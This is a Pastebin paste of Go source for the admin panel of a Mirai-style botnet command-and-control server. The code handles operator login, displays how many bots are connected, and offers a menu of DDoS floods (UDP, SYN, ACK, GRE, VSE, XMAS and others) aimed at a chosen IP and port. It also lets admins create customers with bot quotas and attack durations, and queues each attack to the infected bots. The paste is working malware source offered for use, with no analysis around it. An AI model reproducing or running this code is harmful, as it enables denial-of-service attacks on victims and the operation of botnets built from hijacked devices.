SHARE
TWEET

Sex.go

Scrxbnet Sep 4th, 2018 51 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "net"
  6.     "time"
  7.     "strings"
  8.     "strconv"
  9. )
  10.  
  11. type Admin struct {
  12.     conn    net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16.     return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20.     this.conn.Write([]byte("\033[?1049h"))
  21.     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23.     defer func() {
  24.         this.conn.Write([]byte("\033[?1049l"))
  25.     }()
  26.     // Get username
  27.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  28.     this.conn.Write([]byte("\033[1;35mUsername\033[1;36m: \033[0m"))
  29.     username, err := this.ReadLine(false)
  30.     if err != nil {
  31.         return
  32.     }
  33.  
  34.     // Get password
  35.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  36.     this.conn.Write([]byte("\033[1;35mPassword\033[1;36m: \033[0m"))
  37.     password, err := this.ReadLine(true)
  38.     if err != nil {
  39.         return
  40.     }
  41.  
  42.     this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  43.     this.conn.Write([]byte("\r\n"))
  44.     spinBuf := []byte{'-', '\\', '|', '/'}
  45.     for i := 0; i < 15; i++ {
  46.         this.conn.Write(append([]byte("\r\033[37;1mChecking Info... \033[31m"), spinBuf[i % len(spinBuf)]))
  47.         time.Sleep(time.Duration(300) * time.Millisecond)
  48.     }
  49.  
  50.     var loggedIn bool
  51.     var userInfo AccountInfo
  52.     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  53.         this.conn.Write([]byte("\r\x1b[1;37m--INVALAD INFORMATION--\r\n"))
  54.         this.conn.Write([]byte("\x1b[1;31m--press any key to exit--\033[0m"))
  55.         buf := make([]byte, 1)
  56.         this.conn.Read(buf)
  57.         return
  58.     }
  59.  
  60.     this.conn.Write([]byte("\r\n\033[0m"))
  61.     go func() {
  62.         i := 0
  63.         for {
  64.             var BotCount int
  65.             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  66.                 BotCount = userInfo.maxBots
  67.             } else {
  68.                 BotCount = clientList.Count()
  69.             }
  70.  
  71.             time.Sleep(time.Second)
  72.             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
  73.                 this.conn.Close()
  74.                 break
  75.             }
  76.             i++
  77.             if i % 60 == 0 {
  78.                 this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  79.             }
  80.         }
  81.     }()
  82.     this.conn.Write([]byte("\033[2J\033[1;1H"))
  83.     this.conn.Write([]byte("\x1b[1;35m   ███████╗███████╗██╗  ██╗        "))
  84.     this.conn.Write([]byte("\x1b[1;36m   ██╔════╝██╔════╝╚██╗██╔╝       "))
  85.     this.conn.Write([]byte("\x1b[1;35m   ███████╗█████╗   ╚███╔╝        "))
  86.     this.conn.Write([]byte("\x1b[1;36m   ╚════██║██╔══╝   ██╔██╗        "))
  87.     this.conn.Write([]byte("\x1b[1;35m   ███████║███████╗██╔╝ ██╗     "))
  88.     this.conn.Write([]byte("\x1b[1;36m   ╚══════╝╚══════╝╚═╝  ╚═╝        "))
  89.     this.conn.Write([]byte("\x1b[1;35m                \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;36mWelcome\x1b[0;36m \033[35;1m" + username + " \x1b[0;36mTo The Sex Net\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  90.     this.conn.Write([]byte("\x1b[1;36m                   \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;31mType help to Get Commands\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  91.     for {
  92.         var botCatagory string
  93.         var botCount int
  94.         this.conn.Write([]byte("\033[32;1m[\033[36;1m" + username + "\033[35;1m@\033[36;1msex\033[32;1m]\033[35;1m~# \033[0m"))
  95.         cmd, err := this.ReadLine(false)
  96.         if err != nil || cmd == "exit" || cmd == "quit" {
  97.             return
  98.         }
  99.         if cmd == "" {
  100.             continue
  101.         }
  102.         if err != nil || cmd == "CLEAR" || cmd == "clear" || cmd == "cls" {
  103.     this.conn.Write([]byte("\x1b[1;35m   ███████╗███████╗██╗  ██╗        "))
  104.     this.conn.Write([]byte("\x1b[1;36m   ██╔════╝██╔════╝╚██╗██╔╝       "))
  105.     this.conn.Write([]byte("\x1b[1;35m   ███████╗█████╗   ╚███╔╝        "))
  106.     this.conn.Write([]byte("\x1b[1;36m   ╚════██║██╔══╝   ██╔██╗        "))
  107.     this.conn.Write([]byte("\x1b[1;35m   ███████║███████╗██╔╝ ██╗     "))
  108.     this.conn.Write([]byte("\x1b[1;36m   ╚══════╝╚══════╝╚═╝  ╚═╝        "))
  109.     this.conn.Write([]byte("\x1b[1;35m                \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;36mWelcome\x1b[0;36m \033[35;1m" + username + " \x1b[0;36mTo The Sex Net\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  110.     this.conn.Write([]byte("\x1b[1;36m                   \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;31mType help to Get Commands\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  111.         }
  112.         if err != nil || cmd == "HELP" || cmd == "help" || cmd == "?" {
  113.             this.conn.Write([]byte("\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;36m---------------------------------------------------------\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n"))
  114.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m               Menu for You Skids Out There                \x1b[1;36m|\r\n"))
  115.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m greip [ip] [time] dport=[port]            | greip         \x1b[1;36m|\r\n"))
  116.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m udp [ip] [time] dport=[port]              | udp           \x1b[1;36m|\r\n"))
  117.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m udpplain [ip] [time] dport=[port]         | udpplain      \x1b[1;36m|\r\n"))
  118.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m ack [ip] [time] dport=[port]              | ack           \x1b[1;36m|\r\n"))
  119.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m syn [ip] [time] dport=[port]              | syn           \x1b[1;36m|\r\n"))
  120.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m vse [ip] [time] dport=[port]              | vse           \x1b[1;36m|\r\n"))
  121.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m greeth [ip] [time] dport=[port]           | greeth        \x1b[1;36m|\r\n"))
  122.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m xmas [ip] [time] dport=[port]             | xmas          \x1b[1;36m|\r\n"))
  123.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m std [ip] [time] dport=[port]              | std           \x1b[1;36m|\r\n"))
  124.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m cls or clear                              | clears screen \x1b[1;36m|\r\n"))
  125.             this.conn.Write([]byte("\x1b[1;36m |\x1b[1;37m botcount or bots                          | shows bots    \x1b[1;36m|\r\n"))
  126.             this.conn.Write([]byte("\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;36m---------------------------------------------------------\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n"))
  127.             continue
  128.         }
  129.    
  130.         botCount = userInfo.maxBots
  131.  
  132.         if userInfo.admin == 1 && cmd == "adduser" {
  133.             this.conn.Write([]byte("Enter new username: "))
  134.             new_un, err := this.ReadLine(false)
  135.             if err != nil {
  136.                 return
  137.             }
  138.             this.conn.Write([]byte("Enter new password: "))
  139.             new_pw, err := this.ReadLine(false)
  140.             if err != nil {
  141.                 return
  142.             }
  143.             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  144.             max_bots_str, err := this.ReadLine(false)
  145.             if err != nil {
  146.                 return
  147.             }
  148.             max_bots, err := strconv.Atoi(max_bots_str)
  149.             if err != nil {
  150.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  151.                 continue
  152.             }
  153.             this.conn.Write([]byte("Max attack duration (-1 for none): "))
  154.             duration_str, err := this.ReadLine(false)
  155.             if err != nil {
  156.                 return
  157.             }
  158.             duration, err := strconv.Atoi(duration_str)
  159.             if err != nil {
  160.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  161.                 continue
  162.             }
  163.             this.conn.Write([]byte("Cooldown time (0 for none): "))
  164.             cooldown_str, err := this.ReadLine(false)
  165.             if err != nil {
  166.                 return
  167.             }
  168.             cooldown, err := strconv.Atoi(cooldown_str)
  169.             if err != nil {
  170.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  171.                 continue
  172.             }
  173.             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  174.             confirm, err := this.ReadLine(false)
  175.             if err != nil {
  176.                 return
  177.             }
  178.             if confirm != "y" {
  179.                 continue
  180.             }
  181.             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  182.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  183.             } else {
  184.                 this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  185.             }
  186.             continue
  187.         }
  188.         if cmd == "botcount" || cmd == "bots" || cmd == "count" {
  189.         botCount = clientList.Count()
  190.             m := clientList.Distribution()
  191.             for k, v := range m {
  192.                 this.conn.Write([]byte(fmt.Sprintf("\033[1;35m%s:\t\033[1;31m[\033[1;36m%d\033[1;31m]\033[0m\r\n", k, v)))
  193.             }
  194.             this.conn.Write([]byte(fmt.Sprintf("\033[32;1mTOTAL: %d\r\n", botCount)))
  195.             continue
  196.         }
  197.         if cmd[0] == '-' {
  198.             countSplit := strings.SplitN(cmd, " ", 2)
  199.             count := countSplit[0][1:]
  200.             botCount, err = strconv.Atoi(count)
  201.             if err != nil {
  202.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  203.                 continue
  204.             }
  205.             if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  206.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  207.                 continue
  208.             }
  209.             cmd = countSplit[1]
  210.         }
  211.         if userInfo.admin == 1 && cmd[0] == '@' {
  212.             cataSplit := strings.SplitN(cmd, " ", 2)
  213.             botCatagory = cataSplit[0][1:]
  214.             cmd = cataSplit[1]
  215.         }
  216.  
  217.         atk, err := NewAttack(cmd, userInfo.admin)
  218.         if err != nil {
  219.             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  220.         } else {
  221.             buf, err := atk.Build()
  222.             if err != nil {
  223.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  224.             } else {
  225.                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  226.                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  227.                 } else if !database.ContainsWhitelistedTargets(atk) {
  228.                     clientList.QueueBuf(buf, botCount, botCatagory)
  229.                 } else {
  230.                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  231.                 }
  232.             }
  233.         }
  234.     }
  235. }
  236.  
  237. func (this *Admin) ReadLine(masked bool) (string, error) {
  238.     buf := make([]byte, 1024)
  239.     bufPos := 0
  240.  
  241.     for {
  242.         n, err := this.conn.Read(buf[bufPos:bufPos+1])
  243.         if err != nil || n != 1 {
  244.             return "", err
  245.         }
  246.         if buf[bufPos] == '\xFF' {
  247.             n, err := this.conn.Read(buf[bufPos:bufPos+2])
  248.             if err != nil || n != 2 {
  249.                 return "", err
  250.             }
  251.             bufPos--
  252.         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  253.             if bufPos > 0 {
  254.                 this.conn.Write([]byte(string(buf[bufPos])))
  255.                 bufPos--
  256.             }
  257.             bufPos--
  258.         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  259.             bufPos--
  260.         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  261.             this.conn.Write([]byte("\r\n"))
  262.             return string(buf[:bufPos]), nil
  263.         } else if buf[bufPos] == 0x03 {
  264.             this.conn.Write([]byte("^C\r\n"))
  265.             return "", nil
  266.         } else {
  267.             if buf[bufPos] == '\x1B' {
  268.                 buf[bufPos] = '^';
  269.                 this.conn.Write([]byte(string(buf[bufPos])))
  270.                 bufPos++;
  271.                 buf[bufPos] = '[';
  272.                 this.conn.Write([]byte(string(buf[bufPos])))
  273.             } else if masked {
  274.                 this.conn.Write([]byte("*"))
  275.             } else {
  276.                 this.conn.Write([]byte(string(buf[bufPos])))
  277.             }
  278.         }
  279.         bufPos++
  280.     }
  281.     return string(buf), nil
  282. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top